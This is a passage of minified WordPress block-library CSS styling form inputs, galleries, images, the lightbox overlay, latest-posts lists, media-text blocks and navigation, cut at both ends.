.5em}.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{border:1px solid;line-height:2;min-height:2em}textarea.wp-block-form-input__input{min-height:10em}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{-webkit-backdrop-filter:blur(3px);backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:40%}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000);box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;text-shadow:0 0 1.5px #000;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}ol.wp-block-latest-comments{box-sizing:border-box;margin-left:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both;overflow-wrap:break-word}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}:root :where(.wp-block-latest-posts.is-grid){padding:0}:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){padding-left:0}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}.wp-block-loginout,.wp-block-media-text{box-sizing:border-box}.wp-block-media-text{
  /*!rtl:begin:ignore*/direction:ltr;
  /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1;
  /*!rtl:end:ignore*/margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:ltr;
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1;
  /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}}.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation :where(a),.wp-block-navigation :where(a:active),.wp-block-navigation :where(a:focus){text-decoration:none}.wp-block-navigation 